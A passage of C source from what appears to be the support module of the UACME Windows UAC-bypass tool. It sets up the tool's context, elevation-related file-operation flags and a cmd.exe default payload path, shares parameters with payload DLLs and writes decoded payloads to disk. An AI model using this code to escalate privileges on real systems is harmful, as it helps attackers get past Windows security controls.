if (!NT_SUCCESS(Status) || (lpData == NULL))
|
||
break;
|
||
|
||
cch = _strlen(lpData);
|
||
if (cch == 0) {
|
||
SetLastError(ERROR_INVALID_DATA);
|
||
break;
|
||
}
|
||
|
||
needBackslash = (lpData[cch - 1] != L'\\');
|
||
ccm = cch + (needBackslash ? 1 : 0) + (cbSystem32Prep / sizeof(WCHAR));
|
||
|
||
if (ccm >= MAX_PATH) {
|
||
SetLastError(ERROR_BUFFER_OVERFLOW);
|
||
break;
|
||
}
|
||
|
||
_strncpy(context->szSystemRoot, MAX_PATH, lpData, cch + 1);
|
||
if (needBackslash) {
|
||
context->szSystemRoot[cch] = L'\\';
|
||
context->szSystemRoot[cch + 1] = UNICODE_NULL;
|
||
}
|
||
|
||
_strcpy(context->szSystemDirectory, context->szSystemRoot);
|
||
_strcat(context->szSystemDirectory, szSystem32Prep);
|
||
|
||
bResult = TRUE;
|
||
|
||
} while (FALSE);
|
||
|
||
if (hKey) NtClose(hKey);
|
||
if (lpData) RtlFreeHeap(context->ucmHeap, 0, lpData);
|
||
|
||
return bResult;
|
||
}
|
||
|
||
#define SI_MAX_BUFFER_LENGTH (512 * 1024 * 1024)
|
||
|
||
/*
|
||
* supGetSystemInfo
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Returns buffer with system information by given InfoClass.
|
||
*
|
||
* Returned buffer must be freed with supHeapFree after usage.
|
||
*
|
||
*/
|
||
PVOID supGetSystemInfo(
|
||
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass
|
||
)
|
||
{
|
||
PVOID buffer = NULL;
|
||
ULONG bufferSize = PAGE_SIZE;
|
||
NTSTATUS ntStatus;
|
||
ULONG returnedLength = 0;
|
||
|
||
buffer = supHeapAlloc((SIZE_T)bufferSize);
|
||
if (buffer == NULL)
|
||
return NULL;
|
||
|
||
while ((ntStatus = NtQuerySystemInformation(
|
||
SystemInformationClass,
|
||
buffer,
|
||
bufferSize,
|
||
&returnedLength)) == STATUS_INFO_LENGTH_MISMATCH)
|
||
{
|
||
supHeapFree(buffer);
|
||
bufferSize *= 2;
|
||
|
||
if (bufferSize > SI_MAX_BUFFER_LENGTH)
|
||
return NULL;
|
||
|
||
buffer = supHeapAlloc((SIZE_T)bufferSize);
|
||
if (buffer == NULL)
|
||
return NULL;
|
||
}
|
||
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
return buffer;
|
||
}
|
||
|
||
if (buffer)
|
||
supHeapFree(buffer);
|
||
|
||
return NULL;
|
||
}
|
||
|
||
/*
|
||
* supIsCorImageFile
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return true if image has CliHeader entry, false otherwise.
|
||
*
|
||
*/
|
||
BOOL supIsCorImageFile(
|
||
_In_ PVOID ImageBase
|
||
)
|
||
{
|
||
ULONG sz = 0;
|
||
IMAGE_COR20_HEADER* CliHeader;
|
||
|
||
CliHeader = (IMAGE_COR20_HEADER*)RtlImageDirectoryEntryToData(ImageBase, TRUE,
|
||
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR, &sz);
|
||
|
||
return ((CliHeader != NULL) && (sz >= sizeof(IMAGE_COR20_HEADER)));
|
||
}
|
||
|
||
/*
|
||
* supCreateDirectory
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Native create directory.
|
||
*
|
||
*/
|
||
NTSTATUS supCreateDirectory(
|
||
_Out_opt_ PHANDLE phDirectory,
|
||
_In_ OBJECT_ATTRIBUTES* ObjectAttributes,
|
||
_In_ ULONG DirectoryShareFlags,
|
||
_In_ ULONG DirectoryAttributes
|
||
)
|
||
{
|
||
NTSTATUS status;
|
||
HANDLE DirectoryHandle = NULL;
|
||
IO_STATUS_BLOCK IoStatusBlock;
|
||
|
||
if (DirectoryAttributes == 0)
|
||
DirectoryAttributes = FILE_ATTRIBUTE_NORMAL;
|
||
|
||
status = NtCreateFile(
|
||
&DirectoryHandle,
|
||
FILE_GENERIC_WRITE,
|
||
ObjectAttributes,
|
||
&IoStatusBlock,
|
||
NULL,
|
||
DirectoryAttributes,
|
||
DirectoryShareFlags,
|
||
FILE_OPEN_IF,
|
||
FILE_DIRECTORY_FILE,
|
||
NULL,
|
||
0);
|
||
|
||
if (NT_SUCCESS(status)) {
|
||
if (phDirectory)
|
||
*phDirectory = DirectoryHandle;
|
||
}
|
||
return status;
|
||
}
|
||
|
||
/*
|
||
* supxCreateBoundaryDescriptorSID
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Create special SID to access isolated namespace.
|
||
*
|
||
*/
|
||
PSID supxCreateBoundaryDescriptorSID(
|
||
SID_IDENTIFIER_AUTHORITY* SidAuthority,
|
||
UCHAR SubAuthorityCount,
|
||
ULONG* SubAuthorities
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
ULONG i;
|
||
PSID pSid = NULL;
|
||
|
||
do {
|
||
|
||
pSid = supHeapAlloc(RtlLengthRequiredSid(SubAuthorityCount));
|
||
if (pSid == NULL)
|
||
break;
|
||
|
||
if (!NT_SUCCESS(RtlInitializeSid(pSid, SidAuthority, SubAuthorityCount)))
|
||
break;
|
||
|
||
for (i = 0; i < SubAuthorityCount; i++)
|
||
*RtlSubAuthoritySid(pSid, i) = SubAuthorities[i];
|
||
|
||
bResult = TRUE;
|
||
|
||
} while (FALSE);
|
||
|
||
if (bResult == FALSE) {
|
||
if (pSid) supHeapFree(pSid);
|
||
pSid = NULL;
|
||
}
|
||
|
||
return pSid;
|
||
}
|
||
|
||
/*
|
||
* supCreateSharedParametersBlock
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Create parameters block to be shared with payload dlls.
|
||
*
|
||
*/
|
||
BOOL supCreateSharedParametersBlock(
|
||
_In_ PVOID ucmContext)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
ULONG r;
|
||
HANDLE hBoundary = NULL;
|
||
PVOID SharedBuffer = NULL;
|
||
SIZE_T ViewSize;
|
||
|
||
PUACMECONTEXT context = (PUACMECONTEXT)ucmContext;
|
||
|
||
LARGE_INTEGER liSectionSize;
|
||
PSID pWorldSid = NULL;
|
||
|
||
SID_IDENTIFIER_AUTHORITY SidWorldAuthority = SECURITY_WORLD_SID_AUTHORITY;
|
||
|
||
UNICODE_STRING usName;
|
||
OBJECT_ATTRIBUTES obja = RTL_INIT_OBJECT_ATTRIBUTES((PUNICODE_STRING)NULL, 0);
|
||
|
||
UACME_PARAM_BLOCK ParamBlock;
|
||
|
||
ULONG SubAuthoritiesWorld[] = { SECURITY_WORLD_RID };
|
||
|
||
WCHAR szBoundaryDescriptorName[128];
|
||
WCHAR szObjectName[128];
|
||
|
||
RtlSecureZeroMemory(&szBoundaryDescriptorName, sizeof(szBoundaryDescriptorName));
|
||
supGenerateSharedObjectName((WORD)AKAGI_BDESCRIPTOR_NAME_ID, szBoundaryDescriptorName);
|
||
RtlInitUnicodeString(&usName, szBoundaryDescriptorName);
|
||
|
||
//
|
||
// Fill parameters block.
|
||
//
|
||
RtlSecureZeroMemory(&ParamBlock, sizeof(ParamBlock));
|
||
|
||
if (context->OptionalParameterLength != 0) {
|
||
_strncpy(ParamBlock.szParameter, MAX_PATH,
|
||
context->szOptionalParameter, MAX_PATH);
|
||
}
|
||
|
||
ParamBlock.AkagiFlag = context->AkagiFlag;
|
||
ParamBlock.SessionId = NtCurrentPeb()->SessionId;
|
||
|
||
supWinstationToName(NULL, ParamBlock.szWinstation, MAX_PATH * 2, &r);
|
||
supDesktopToName(NULL, ParamBlock.szDesktop, MAX_PATH * 2, &r);
|
||
|
||
do {
|
||
//
|
||
// Create and assign boundary descriptor.
|
||
//
|
||
hBoundary = RtlCreateBoundaryDescriptor(&usName, 0);
|
||
if (hBoundary == NULL)
|
||
break;
|
||
|
||
pWorldSid = supxCreateBoundaryDescriptorSID(
|
||
&SidWorldAuthority,
|
||
1,
|
||
SubAuthoritiesWorld);
|
||
if (pWorldSid == NULL)
|
||
break;
|
||
|
||
if (!NT_SUCCESS(RtlAddSIDToBoundaryDescriptor(&hBoundary, pWorldSid))) {
|
||
break;
|
||
}
|
||
|
||
//
|
||
// Create private namespace.
|
||
//
|
||
if (!NT_SUCCESS(NtCreatePrivateNamespace(
|
||
&context->SharedContext.hIsolatedNamespace,
|
||
MAXIMUM_ALLOWED,
|
||
&obja,
|
||
hBoundary)))
|
||
{
|
||
break;
|
||
}
|
||
|
||
obja.Attributes = OBJ_CASE_INSENSITIVE;
|
||
obja.RootDirectory = context->SharedContext.hIsolatedNamespace;
|
||
obja.ObjectName = &usName;
|
||
|
||
//
|
||
// Create completion event.
|
||
//
|
||
RtlSecureZeroMemory(&szObjectName, sizeof(szObjectName));
|
||
supGenerateSharedObjectName((WORD)AKAGI_COMPLETION_EVENT_ID, szObjectName);
|
||
RtlInitUnicodeString(&usName, szObjectName);
|
||
_strcpy(ParamBlock.szSignalObject, szObjectName);
|
||
|
||
//
|
||
// Param block is complete. Calc crc32.
|
||
//
|
||
ParamBlock.Crc32 = RtlComputeCrc32(0, &ParamBlock, sizeof(ParamBlock));
|
||
|
||
if (!NT_SUCCESS(NtCreateEvent(
|
||
&context->SharedContext.hCompletionEvent,
|
||
EVENT_ALL_ACCESS,
|
||
&obja,
|
||
NotificationEvent,
|
||
FALSE)))
|
||
{
|
||
break;
|
||
}
|
||
|
||
//
|
||
// Create shared section.
|
||
//
|
||
liSectionSize.QuadPart = PAGE_SIZE;
|
||
ViewSize = PAGE_SIZE;
|
||
|
||
RtlSecureZeroMemory(&szObjectName, sizeof(szObjectName));
|
||
supGenerateSharedObjectName((WORD)AKAGI_SHARED_SECTION_ID, szObjectName);
|
||
RtlInitUnicodeString(&usName, szObjectName);
|
||
|
||
if (NT_SUCCESS(NtCreateSection(
|
||
&context->SharedContext.hSharedSection,
|
||
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_QUERY,
|
||
&obja,
|
||
&liSectionSize,
|
||
PAGE_READWRITE,
|
||
SEC_COMMIT,
|
||
NULL)))
|
||
{
|
||
//
|
||
// Write data to shared section.
|
||
//
|
||
if (NT_SUCCESS(NtMapViewOfSection(
|
||
context->SharedContext.hSharedSection,
|
||
NtCurrentProcess(),
|
||
&SharedBuffer,
|
||
0,
|
||
PAGE_SIZE,
|
||
NULL,
|
||
&ViewSize,
|
||
ViewUnmap,
|
||
MEM_TOP_DOWN,
|
||
PAGE_READWRITE)))
|
||
{
|
||
RtlSecureZeroMemory(SharedBuffer, PAGE_SIZE);
|
||
RtlCopyMemory(SharedBuffer, &ParamBlock, sizeof(ParamBlock));
|
||
NtUnmapViewOfSection(NtCurrentProcess(), SharedBuffer);
|
||
bResult = TRUE;
|
||
}
|
||
}
|
||
|
||
|
||
} while (FALSE);
|
||
|
||
//
|
||
// Cleanup.
|
||
//
|
||
if (pWorldSid)
|
||
supHeapFree(pWorldSid);
|
||
if (hBoundary)
|
||
RtlDeleteBoundaryDescriptor(hBoundary);
|
||
|
||
if (bResult == FALSE) {
|
||
if (context->SharedContext.hIsolatedNamespace) {
|
||
NtDeletePrivateNamespace(context->SharedContext.hIsolatedNamespace);
|
||
NtClose(context->SharedContext.hIsolatedNamespace);
|
||
}
|
||
}
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supDestroySharedParametersBlock
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Free shared resources.
|
||
*
|
||
*/
|
||
VOID supDestroySharedParametersBlock(
|
||
_In_ PVOID ucmContext)
|
||
{
|
||
PUACMECONTEXT context = (PUACMECONTEXT)ucmContext;
|
||
|
||
if (context->SharedContext.hIsolatedNamespace) {
|
||
|
||
if (context->SharedContext.hCompletionEvent)
|
||
NtClose(context->SharedContext.hCompletionEvent);
|
||
|
||
if (context->SharedContext.hSharedSection)
|
||
NtClose(context->SharedContext.hSharedSection);
|
||
|
||
NtDeletePrivateNamespace(context->SharedContext.hIsolatedNamespace);
|
||
NtClose(context->SharedContext.hIsolatedNamespace);
|
||
}
|
||
}
|
||
|
||
/*
|
||
* supCreateUacmeContext
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Allocate and fill program contexts.
|
||
*
|
||
*/
|
||
PVOID supCreateUacmeContext(
|
||
_In_ ULONG Method,
|
||
_In_reads_or_z_opt_(OptionalParameterLength) LPWSTR OptionalParameter,
|
||
_In_ ULONG OptionalParameterLength,
|
||
_In_ PVOID DecompressRoutine
|
||
)
|
||
{
|
||
BOOLEAN IsWow64;
|
||
ULONG Seed, NtBuildNumber = 0;
|
||
PUACMECONTEXT Context;
|
||
HANDLE ContextHeap = NtCurrentPeb()->ProcessHeap;
|
||
#ifdef _UCM_CONSOLE
|
||
HMODULE hNtdll;
|
||
#endif
|
||
RTL_OSVERSIONINFOW osv;
|
||
|
||
UNREFERENCED_PARAMETER(Method);
|
||
|
||
if (OptionalParameterLength > MAX_PATH)
|
||
return NULL;
|
||
|
||
IsWow64 = supIsProcess32bit(NtCurrentProcess());
|
||
|
||
RtlSecureZeroMemory(&osv, sizeof(osv));
|
||
osv.dwOSVersionInfoSize = sizeof(osv);
|
||
RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
|
||
NtBuildNumber = osv.dwBuildNumber;
|
||
|
||
if (NtBuildNumber < NT_WIN7_RTM) {
|
||
return NULL;
|
||
}
|
||
|
||
Context = RtlAllocateHeap(ContextHeap, HEAP_ZERO_MEMORY, sizeof(UACMECONTEXT));
|
||
if (Context == NULL) {
|
||
return NULL;
|
||
}
|
||
|
||
//
|
||
// Create private heap, enable termination on corruption.
|
||
//
|
||
Context->ucmHeap = RtlCreateHeap(HEAP_GROWABLE, NULL, 0, 0, NULL, NULL);
|
||
if (Context->ucmHeap == NULL) {
|
||
RtlFreeHeap(ContextHeap, 0, Context);
|
||
return NULL;
|
||
}
|
||
RtlSetHeapInformation(Context->ucmHeap, HeapEnableTerminationOnCorruption, NULL, 0);
|
||
|
||
//
|
||
// Set Fubuki flag.
|
||
//
|
||
Context->AkagiFlag = AKAGI_FLAG_KILO;
|
||
|
||
//
|
||
// Remember NtBuildNumber.
|
||
//
|
||
Context->dwBuildNumber = NtBuildNumber;
|
||
|
||
//
|
||
// Set Cookie for supEncode/DecodePointer.
|
||
//
|
||
Seed = USER_SHARED_DATA->Cookie;
|
||
Context->Cookie = RtlRandomEx((PULONG)&Seed);
|
||
|
||
//
|
||
// Remember Wow64 process state.
|
||
//
|
||
Context->IsWow64 = IsWow64;
|
||
|
||
//
|
||
// Save OptionalParameter if present.
|
||
//
|
||
if (OptionalParameterLength) {
|
||
_strncpy(Context->szOptionalParameter, MAX_PATH,
|
||
OptionalParameter, OptionalParameterLength);
|
||
Context->OptionalParameterLength = OptionalParameterLength;
|
||
}
|
||
|
||
//
|
||
// Set IFileOperations flags.
|
||
//
|
||
if (NtBuildNumber > 14997) {
|
||
Context->IFileOperationFlags = FOF_NOCONFIRMATION |
|
||
FOFX_NOCOPYHOOKS |
|
||
FOFX_REQUIREELEVATION;
|
||
}
|
||
else {
|
||
Context->IFileOperationFlags = FOF_NOCONFIRMATION |
|
||
FOF_SILENT |
|
||
FOFX_SHOWELEVATIONPROMPT |
|
||
FOFX_NOCOPYHOOKS |
|
||
FOFX_REQUIREELEVATION;
|
||
}
|
||
|
||
//
|
||
// Query basic directories.
|
||
//
|
||
// 1. SystemRoot
|
||
// 2. System32
|
||
if (!supQuerySystemRoot(Context)) {
|
||
RtlDestroyHeap(Context->ucmHeap);
|
||
RtlFreeHeap(ContextHeap, 0, Context);
|
||
return NULL;
|
||
}
|
||
// 3. Temp
|
||
supExpandEnvironmentStrings(L"%temp%\\", Context->szTempDirectory, MAX_PATH);
|
||
|
||
// 4. Current directory
|
||
if (GetCurrentDirectory(MAX_PATH, Context->szCurrentDirectory) < MAX_PATH) {
|
||
supPathAddBackSlash(Context->szCurrentDirectory);
|
||
}
|
||
|
||
//
|
||
// Default payload path.
|
||
//
|
||
_strcpy(Context->szDefaultPayload, Context->szSystemDirectory);
|
||
_strcat(Context->szDefaultPayload, CMD_EXE);
|
||
|
||
Context->DecompressRoutine = (pfnDecompressPayload)supDecodePointer(DecompressRoutine);
|
||
|
||
#ifdef _UCM_CONSOLE
|
||
hNtdll = GetModuleHandle(L"ntdll.dll");
|
||
if (hNtdll) {
|
||
Context->swprintf_s = (pswprintf_s)GetProcAddress(hNtdll, "swprintf_s");
|
||
}
|
||
#else
|
||
Context->swprintf_s = (PVOID)-1;
|
||
#endif
|
||
|
||
return (PVOID)Context;
|
||
}
|
||
|
||
/*
|
||
* supDestroyUacmeContext
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Destroy program contexts.
|
||
*
|
||
*/
|
||
VOID supDestroyUacmeContext(
|
||
_In_ PVOID Context
|
||
)
|
||
{
|
||
PUACMECONTEXT context = (PUACMECONTEXT)Context;
|
||
|
||
RtlDestroyHeap(context->ucmHeap);
|
||
|
||
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Context);
|
||
}
|
||
|
||
/*
|
||
* supDecodeAndWriteBufferToFile
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Create new file and write decoded buffer to it.
|
||
*
|
||
*/
|
||
BOOL supDecodeAndWriteBufferToFile(
|
||
_In_ LPWSTR lpFileName,
|
||
_In_ CONST PVOID Buffer,
|
||
_In_ DWORD BufferSize,
|
||
_In_ ULONG Key
|
||
)
|
||
{
|
||
BOOL bResult;
|
||
PVOID p;
|
||
SIZE_T Size = ALIGN_UP_BY(BufferSize, PAGE_SIZE);
|
||
|
||
p = supVirtualAlloc(&Size, DEFAULT_ALLOCATION_TYPE | MEM_TOP_DOWN, DEFAULT_PROTECT_TYPE, NULL);
|
||
if (p) {
|
||
RtlCopyMemory(p, Buffer, BufferSize);
|
||
|
||
EncodeBuffer(p, BufferSize, Key);
|
||
|
||
bResult = supWriteBufferToFile(lpFileName, p, BufferSize);
|
||
|
||
supSecureVirtualFree(p, Size, NULL);
|
||
|
||
return bResult;
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
/*
|
||
* supEnableDisableWow64Redirection
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enable/Disable Wow64 redirection.
|
||
*
|
||
*/
|
||
NTSTATUS supEnableDisableWow64Redirection(
|
||
_In_ BOOL bDisable
|
||
)
|
||
{
|
||
PVOID OldValue = NULL, Value;
|
||
|
||
if (bDisable)
|
||
Value = IntToPtr(TRUE);
|
||
else
|
||
Value = IntToPtr(FALSE);
|
||
|
||
return RtlWow64EnableFsRedirectionEx(Value, &OldValue);
|
||
}
|
||
|
||
/*
|
||
* supGetProcessDebugObject
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Reference process debug object.
|
||
*
|
||
*/
|
||
NTSTATUS supGetProcessDebugObject(
|
||
_In_ HANDLE ProcessHandle,
|
||
_Out_ PHANDLE DebugObjectHandle)
|
||
{
|
||
return NtQueryInformationProcess(
|
||
ProcessHandle,
|
||
ProcessDebugObjectHandle,
|
||
DebugObjectHandle,
|
||
sizeof(HANDLE),
|
||
NULL);
|
||
}
|
||
|
||
/*
|
||
* supIsProcessRunning
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return TRUE if the given process is running in current session.
|
||
*
|
||
*/
|
||
BOOL supIsProcessRunning(
|
||
_In_ LPWSTR ProcessName
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
ULONG nextEntryDelta = 0;
|
||
PVOID processList;
|
||
|
||
UNICODE_STRING lookupPsName;
|
||
|
||
union {
|
||
PSYSTEM_PROCESS_INFORMATION Processes;
|
||
PBYTE ListRef;
|
||
} List;
|
||
|
||
processList = supGetSystemInfo(SystemProcessInformation);
|
||
if (processList == NULL)
|
||
return bResult;
|
||
|
||
List.ListRef = (PBYTE)processList;
|
||
|
||
RtlInitUnicodeString(&lookupPsName, ProcessName);
|
||
|
||
do {
|
||
|
||
List.ListRef += nextEntryDelta;
|
||
|
||
if (List.Processes->SessionId == NtCurrentPeb()->SessionId) {
|
||
|
||
if (RtlEqualUnicodeString(&lookupPsName,
|
||
&List.Processes->ImageName,
|
||
TRUE))
|
||
{
|
||
bResult = TRUE;
|
||
break;
|
||
}
|
||
|
||
}
|
||
|
||
nextEntryDelta = List.Processes->NextEntryDelta;
|
||
|
||
} while (nextEntryDelta);
|
||
|
||
supHeapFree(processList);
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supBinTextEncode
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Create pseudo random string from UI64 value.
|
||
*
|
||
*/
|
||
VOID supBinTextEncode(
|
||
_In_ unsigned __int64 x,
|
||
_Inout_ wchar_t* s
|
||
)
|
||
{
|
||
char tbl[64];
|
||
char c = 0;
|
||
int p;
|
||
|
||
tbl[62] = '-';
|
||
tbl[63] = '_';
|
||
|
||
for (c = 0; c < 26; ++c)
|
||
{
|
||
tbl[c] = 'A' + c;
|
||
tbl[26 + c] = 'a' + c;
|
||
if (c < 10)
|
||
tbl[52 + c] = '0' + c;
|
||
}
|
||
|
||
for (p = 0; p < 13; ++p)
|
||
{
|
||
c = x & 0x3f;
|
||
x >>= 5;
|
||
*s = (wchar_t)tbl[c];
|
||
++s;
|
||
}
|
||
|
||
*s = 0;
|
||
}
|
||
|
||
/*
|
||
* supGenerateSharedObjectName
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Create pseudo random object name from it ID.
|
||
*
|
||
*/
|
||
VOID supGenerateSharedObjectName(
|
||
_In_ WORD ObjectId,
|
||
_Inout_ LPWSTR lpBuffer
|
||
)
|
||
{
|
||
ULARGE_INTEGER value;
|
||
|
||
value.LowPart = MAKELONG(
|
||
MAKEWORD(UCM_VERSION_BUILD, UCM_VERSION_REVISION),
|
||
MAKEWORD(UCM_VERSION_MINOR, UCM_VERSION_MAJOR));
|
||
|
||
value.HighPart = MAKELONG(UACME_SHARED_BASE_ID, ObjectId);
|
||
|
||
supBinTextEncode(value.QuadPart, lpBuffer);
|
||
}
|
||
|
||
/*
|
||
* supSetGlobalCompletionEvent
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Set global completion event state to signaled.
|
||
*
|
||
*/
|
||
VOID supSetGlobalCompletionEvent(
|
||
VOID)
|
||
{
|
||
if (g_ctx->SharedContext.hCompletionEvent) {
|
||
SetEvent(g_ctx->SharedContext.hCompletionEvent);
|
||
}
|
||
}
|
||
|
||
/*
|
||
* supWaitForGlobalCompletionEvent
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Wait a little bit for things to complete.
|
||
*
|
||
*/
|
||
NTSTATUS supWaitForGlobalCompletionEvent(
|
||
VOID)
|
||
{
|
||
LARGE_INTEGER liDueTime;
|
||
|
||
if (g_ctx->SharedContext.hCompletionEvent) {
|
||
#ifdef _DEBUG
|
||
liDueTime.QuadPart = -(LONGLONG)UInt32x32To64(10000, 10000);
|
||
#else
|
||
liDueTime.QuadPart = -(LONGLONG)UInt32x32To64(50000, 10000);
|
||
#endif
|
||
return NtWaitForSingleObject(g_ctx->SharedContext.hCompletionEvent, FALSE, &liDueTime);
|
||
}
|
||
|
||
return STATUS_WAIT_0;
|
||
}
|
||
|
||
/*
|
||
* supOpenClassesKey
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Open required subkey of current user.
|
||
*
|
||
*/
|
||
NTSTATUS supOpenClassesKey(
|
||
_In_opt_ PUNICODE_STRING UserRegEntry,
|
||
_Out_ PHANDLE KeyHandle
|
||
)
|
||
{
|
||
UNICODE_STRING usRootKey, usKeyName;
|
||
HANDLE rootKeyHandle = NULL, keyHandle = NULL;
|
||
OBJECT_ATTRIBUTES obja;
|
||
NTSTATUS ntStatus;
|
||
ULONG dummy;
|
||
|
||
*KeyHandle = NULL;
|
||
|
||
if (UserRegEntry == NULL) {
|
||
|
||
ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
return ntStatus;
|
||
}
|
||
else {
|
||
RtlCopyMemory(&usRootKey, UserRegEntry, sizeof(UNICODE_STRING));
|
||
}
|
||
|
||
InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
|
||
ntStatus = NtOpenKey(&rootKeyHandle, MAXIMUM_ALLOWED, &obja);
|
||
if (!NT_SUCCESS(ntStatus)) {
|
||
RtlFreeUnicodeString(&usRootKey);
|
||
return ntStatus;
|
||
}
|
||
|
||
RtlInitUnicodeString(&usKeyName, T_SOFTWARE_CLASSES);
|
||
obja.ObjectName = &usKeyName;
|
||
obja.RootDirectory = rootKeyHandle;
|
||
|
||
ntStatus = NtCreateKey(&keyHandle,
|
||
MAXIMUM_ALLOWED,
|
||
&obja,
|
||
0,
|
||
NULL,
|
||
REG_OPTION_NON_VOLATILE,
|
||
&dummy);
|
||
|
||
if (NT_SUCCESS(ntStatus))
|
||
*KeyHandle = keyHandle;
|
||
|
||
NtClose(rootKeyHandle);
|
||
|
||
if (UserRegEntry == NULL)
|
||
RtlFreeUnicodeString(&usRootKey);
|
||
|
||
return ntStatus;
|
||
}
|
||
|
||
|
||
/*
|
||
* supRemoveRegLinkHKCU
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Remove registry symlink for current user.
|
||
*
|
||
*/
|
||
NTSTATUS supRemoveRegLinkHKCU(
|
||
_In_ LPWSTR lpszRegLink
|
||
)
|
||
{
|
||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||
|
||
ULONG cbKureND;
|
||
|
||
UNICODE_STRING usCurrentUser, usLinkPath;
|
||
OBJECT_ATTRIBUTES obja;
|
||
UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue");
|
||
|
||
PWSTR lpLinkKeyBuffer = NULL;
|
||
SIZE_T memIO;
|
||
|
||
HANDLE hKey = NULL;
|
||
|
||
cbKureND = (ULONG)(_strlen(lpszRegLink)) * sizeof(WCHAR);
|
||
|
||
InitializeObjectAttributes(&obja, &usLinkPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
|
||
status = RtlFormatCurrentUserKeyPath(&usCurrentUser);
|
||
if (!NT_SUCCESS(status))
|
||
return status;
|
||
|
||
do {
|
||
|
||
memIO = sizeof(UNICODE_NULL) + usCurrentUser.MaximumLength + cbKureND;
|
||
lpLinkKeyBuffer = (PWSTR)supHeapAlloc(memIO);
|
||
if (lpLinkKeyBuffer == NULL)
|
||
break;
|
||
|
||
usLinkPath.Buffer = lpLinkKeyBuffer;
|
||
usLinkPath.Length = 0;
|
||
usLinkPath.MaximumLength = (USHORT)memIO;
|
||
|
||
status = RtlAppendUnicodeStringToString(&usLinkPath, &usCurrentUser);
|
||
if (!NT_SUCCESS(status))
|
||
break;
|
||
|
||
status = RtlAppendUnicodeToString(&usLinkPath, lpszRegLink);
|
||
if (!NT_SUCCESS(status))
|
||
break;
|
||
|
||
InitializeObjectAttributes(&obja, &usLinkPath, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, NULL, NULL);
|
||
|
||
status = NtOpenKey(&hKey,
|
||
KEY_ALL_ACCESS,
|
||
&obja);
|
||
|
||
if (NT_SUCCESS(status)) {
|
||
status = NtDeleteValueKey(hKey, &CmSymbolicLinkValue);
|
||
if (NT_SUCCESS(status))
|
||
status = NtDeleteKey(hKey);
|
||
NtClose(hKey);
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (lpLinkKeyBuffer) supHeapFree(lpLinkKeyBuffer);
|
||
RtlFreeUnicodeString(&usCurrentUser);
|
||
|
||
return status;
|
||
}
|
||
|
||
/*
|
||
* supFindPattern
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Lookup pattern in buffer.
|
||
*
|
||
*/
|
||
PVOID supFindPattern(
|
||
_In_ CONST PBYTE Buffer,
|
||
_In_ SIZE_T BufferSize,
|
||
_In_ CONST PBYTE Pattern,
|
||
_In_ SIZE_T PatternSize
|
||
)
|
||
{
|
||
PBYTE p0 = Buffer, pnext;
|
||
|
||
if (PatternSize == 0)
|
||
return NULL;
|
||
|
||
if (BufferSize < PatternSize)
|
||
return NULL;
|
||
|
||
do {
|
||
pnext = (PBYTE)memchr(p0, Pattern[0], BufferSize);
|
||
if (pnext == NULL)
|
||
break;
|
||
|
||
BufferSize -= (ULONG_PTR)(pnext - p0);
|
||
|
||
if (BufferSize < PatternSize)
|
||
return NULL;
|
||
|
||
if (memcmp(pnext, Pattern, PatternSize) == 0)
|
||
return pnext;
|
||
|
||
p0 = pnext + 1;
|
||
--BufferSize;
|
||
} while (BufferSize > 0);
|
||
|
||
return NULL;
|
||
}
|
||
|
||
/*
|
||
* supLookupImageSectionByName
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Lookup section pointer and size for section name.
|
||
*
|
||
*/
|
||
PVOID supLookupImageSectionByName(
|
||
_In_ CHAR* SectionName,
|
||
_In_ ULONG SectionNameLength,
|
||
_In_ PVOID DllBase,
|
||
_Out_ PULONG SectionSize
|
||
)
|
||
{
|
||
BOOLEAN bFound = FALSE;
|
||
ULONG i;
|
||
PVOID Section;
|
||
IMAGE_NT_HEADERS* NtHeaders = RtlImageNtHeader(DllBase);
|
||
IMAGE_SECTION_HEADER* SectionTableEntry;
|
||
|
||
//
|
||
// Assume failure.
|
||
//
|
||
if (SectionSize)
|
||
*SectionSize = 0;
|
||
|
||
if (NtHeaders == NULL)
|
||
return NULL;
|
||
|
||
SectionTableEntry = (PIMAGE_SECTION_HEADER)((PCHAR)NtHeaders +
|
||
sizeof(ULONG) +
|
||
sizeof(IMAGE_FILE_HEADER) +
|
||
NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||
|
||
//
|
||
// Locate section.
|
||
//
|
||
i = NtHeaders->FileHeader.NumberOfSections;
|
||
while (i > 0) {
|
||
|
||
if (_strncmp_a(
|
||
